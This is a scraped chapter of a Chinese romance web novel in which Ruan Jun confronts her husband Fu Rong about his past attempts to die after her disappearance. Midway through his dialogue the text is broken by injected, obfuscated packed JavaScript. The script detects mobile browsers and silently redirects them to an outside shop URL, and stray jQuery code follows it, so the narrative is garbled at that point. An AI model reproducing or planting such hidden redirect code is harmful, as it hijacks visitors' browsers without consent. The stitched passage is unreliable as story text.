文趣网 > 都市小说 > 寡妇替身竟是亡妻归来 > 51. 第51章
    回到阮家,阮松提前向阮父解释过原因,看到阮筠和傅戎两人一起出现在书房,阮父不算惊讶,也没有隐瞒,仔细讲述一遍经过。

    末了,阮父还提供寻找那名道士的线索:“在滋阳县分开前,他说去蜀地,只是现在过了半年多,不确定他是不是还在那里。”

    傅戎点头:“我会安排好,还请父亲最近留心。”

    顾及阮筠在场,阮父没对他的称呼提出异议。

    临走前,阮父叫住傅戎:“你留一下,我有话单独问你。”

    阮筠立即看向两人,傅戎反过来劝她:“没事,阿筠,你到书房外面等我。”

    阮筠只好往外走。

    “姐姐。”阮松回头看看书房,终于下定决心,“我有话跟你说,是关于定国公的。”

    担心阮父和傅戎起争执,阮筠不想走太远,指向院墙角落,跟书房有段距离,控制好声音的话,书房的两个人听不到。

    阮松想要尽可能说得委婉,斟酌片刻,还是想不出更好的词句:“姐姐,在你消失后,定国公曾经想为你殉情。”

    阮筠心头一跳,喃喃重复:“殉情?”

    “嗯。”阮松解释,“其实我也是偶然碰见的,有一次我去国公府找他,正好看见他找道士做法事……”

    如今回想,当初傅戎未必没有故意让他看的意图,或许觉得有阮家人在场,成功的可能性更高。

    “那名道士是可靠的,但是道童里混了一个蛮子刺客,那时候他已经承袭定国公的爵位,为你报仇的过程中得罪了一些人。”阮松停了一下,“那个刺客冲出来的时候,我亲眼看见定国公习惯性抽出随身的配剑,可最后他没有躲开,任由刺客将匕首刺进身体。”

    傅戎如今正在书房里和阮父谈话,可以证明那场刺杀失败了。

    阮筠想起他后背的伤痕,想起他说不知道经过多少次刺杀,抬眸看着书房,“被你撞见的只有那一次?”

    “是。”阮松听出她的言外之意,除此之外傅戎是不是还有过类似的举动,“当年你消失的时候,他还在边关,等到过年前他赶回京城才知道你消失了。”

    当年傅戎昼夜不分地从边关赶回京城,为的就是能陪阮筠过年,而当他回到两人居住的院子,看见的却是满院缟素。

    国公府的人告诉他,阮筠坠崖去世了,他不信,找到阮松,阮松这才知道定国公府的人竟然一直没有传信去边关。

    在阮家得到相同的答案,傅戎不顾满天风雪,在郊外山崖找了几天几夜。

    “……我在郊外找到他时,他坐在马车坠落的地方,身上全是白雪,一动不动。”回忆往事,阮松叹道,“我差点以为他当时就要追随姐姐你而去了,出于担心,我对他说我们给你立的是衣冠冢。”

    当时在山崖下没有发现阮筠的“尸首”,只有破烂的车驾以及摔死的马匹,阮家人不愿意相信,在附近找了几个月,一无所获,最后失去信心,立下衣冠冢。

    这无疑给了傅戎一丝希望。

    找人并不是一句简单的空话,要耗费巨大的人力物力,傅戎当年不过是国公府的一个庶子,加上老定国夫人偏袒三房,不仅早早断言阮筠已去世,还故意压制傅戎。

    为了找她、给她报仇,这都需要权势,傅戎拼命杀出一条血路,一路往上走。

    阮筠沉默听完,正要追问时,看见书房的门突然打开,阮父神色不虞,朝两人略一点头,步履匆匆走远。

    傅戎神色一如既往的平静,看不出异样,他走近问:“你们在聊什么?”

    阮筠不答反问:“父亲跟你说了什么?”

    傅戎没有马上回答,看了阮松一眼。

    阮松耸耸肩,“姐,我去看看阿娘和梦儿。”

    等了片刻,阮筠没等到傅戎开口,看出他不想在这里说,“去客房坐。”

    回到阮家的第一天她和阮母一起歇息,昨天歇在了客房。

    傅戎扫了一圈屋里,看出些许她住过的痕迹,不确定地问:“你住在这里?”

    阮家现在的宅子比以前的大,屋子也多,怎么会让她住在客房。

    “我回来得突然,父亲他们没准备,比不上旧宅特意留着我以前住的屋子。”阮筠看得很开,没被他带偏,“你和父亲聊了什么?他出来的时候脸色不大好。”

    傅戎显然不想谈及这个话题,神情流露出拒绝,见阮筠坚持等待他的回答,不得不开口:“父亲让我离开你,往后不准再打扰你,我没有答应。”

    一开始的惊讶过后,阮筠倒是不意外阮父会这么说。

    “父亲说他很后悔当年答应你我成亲,否则你不会因此坠崖,让你和家人平白失去十年的时光。”

    在阮父面前,傅戎能坦然自若地回绝,可在她的面前,哪怕之前听过她的答案,此刻巨大的恐惧慌乱依旧笼罩着他。

    “阿筠,你后悔嫁给了我吗?”

    他一边说,一边往她靠近,话音落下,双手轻轻将她抱在怀里,让她无法轻易离开。

    “没有。”阮筠给出同样的答案,注视着他浓浓不安的眼睛,“我从来没有后悔嫁给你,哪怕是坠崖一事之后。”

    当年是她自己决定嫁给他,虽然遇见了一些不好的事情,但她同样记得与他度过的美好过往。

    如同濒死的鱼儿重获甘甜泉水,傅戎屏住的呼吸再次顺畅,他凑近,低声呢喃:“阿筠,我很开心……”

    阮筠冷静推开他,“现在该我问你了,你老实回答,不许撒谎。”

    傅戎又靠回去,“好。”

    “你究竟有过几次自戕的行为?”

    傅戎一怔,对上她冷冽的目光,下意识坐直,小声回道:“也没几次。”

    阮筠追问:“没几次是几次?”

    见她一定要问个明白,沉默良久,傅戎终于说:“两次。”

    “其中包括你故意不躲开刺客刺杀、在战场上故意往敌人最多的地方冲、放任政敌弹劾引皇帝猜疑?”

    她知道的真多。

    傅戎不敢再瞒她,又怕多说惹得她生气,只摇摇头。

    阮筠气极反笑:“傅戎,如果不是长青告诉我,你是不是打算一直这样瞒着我?”

    “瞒着你是我做的不对,但是我怕,阿筠,我怕告诉你后,你更加不肯原谅我。”傅戎说,“阿筠,我不后悔。”

    “你……”

    “一开始我不愿意相信你真的走了,我找了你好多年,用了很多办法,一直没找到,后来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763801|205803||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当我打算去找你,又两次都没能成功。”

    他当上了大将军,承袭国公爵位,拥立新皇,解决那些害她的人,为她报仇雪恨,帮她照料家人。

    等到阮松和阮梅长大成人,各自成家,阮父阮母能安享晚年,他觉得时机成熟了,想着中元节祭祀之后是个不错的时间。

    再之后就是他中毒眼盲,叶绍远阴差阳错将她带回他的身边。

    “所以,阿筠,你不要再离开我,好不好?”

    以前存着一丝阮筠或许还在人世的希望,如今他亲眼看到她还活着,可她不愿意再留在他身边的话,傅戎不敢想象那样的场景,甚至不知道如果真有那么一天,他会做出什么疯狂举动。

    “阿筠。”傅戎贴在她颈边,鼻翼间充盈她的气息,压下心中的恐慌,“阿筠,你说的地方我都会改,但是你不要离开我。”

    阮筠暗自叹息,明白他现在状态不对,没有直接回绝,免得刺激到他。

    她抬手轻拍他的后背,

    傅戎对她的感情如此深厚,若说她没有丝毫触动必定不可能,但她同样发现他的情意太过深刻,以至于有些沉重,而她真的能承担这份感情,并且回以同样深重的感情给他吗?

    *

    之后几天,傅戎每天清晨时分到阮家,风雨无阻,比去上朝还准时。

    如果阮筠要去医馆,他便跟着一起去,如果她留在家里,他也能顶着阮父等人不善的目光,坦然自若地留在阮家不走。

    阮筠劝过,奈何傅戎嘴上说好,第二天还是老样子,而且如果不是她严词拒绝,只怕连晚上也要留下来。

    这天天气不错,太阳穿过云层,金色阳光洒落,驱散冬日残留寒意。

    阮筠推开屋门,下意识看向右边廊庑下靠近廊柱的地方,那里空荡荡的,没有站着傅戎高大熟悉的身影。

    她愣了一下,心里莫名生出失落,随即是惊讶。

    不知不觉中她已经习惯了傅戎的存在,突然没见到他,反而不习惯了。

    阮筠抿抿唇,压下心中的异样,准备出门去医馆。

    “筠儿。”阮母叫住她,“今天定国公怎么没来找你?”

    “我不知道,或许朝堂上有些事情要忙。”

    算起来傅戎差不多十天没去上朝了。

    阮母迟疑着问:“筠儿,你究竟是如何打算?难道要一直这样和定国公不尴不尬地相处吗?”

    沉默片刻,阮筠只说:“娘,您放心,我心里有数。”

    到了医馆,孙医师正在前堂整理银针,见她一个人进来,忍不住往她身后瞄,“咦?就你一个人?定国公?”

    “他有自己的事情要忙,不可能每天都跟着我。”

    孙医师既然在医馆,没去国公府,估摸着傅戎不是生病。

    阮筠心中稍安,翻开一卷医书。

    书里的内容适合初学者,不算太难,主要是讲各类轻微病症。

    她捏住书页一角,盯着书上看了半晌,迟迟没有翻到下一页。

    眼前是一排排清晰墨字,可她的脑海里浮现却是傅戎站在雨中,浑身湿淋淋的样子。

    阮筠缓缓呼出心口的浊气,合上书。

    “孙医师,我出去一趟。”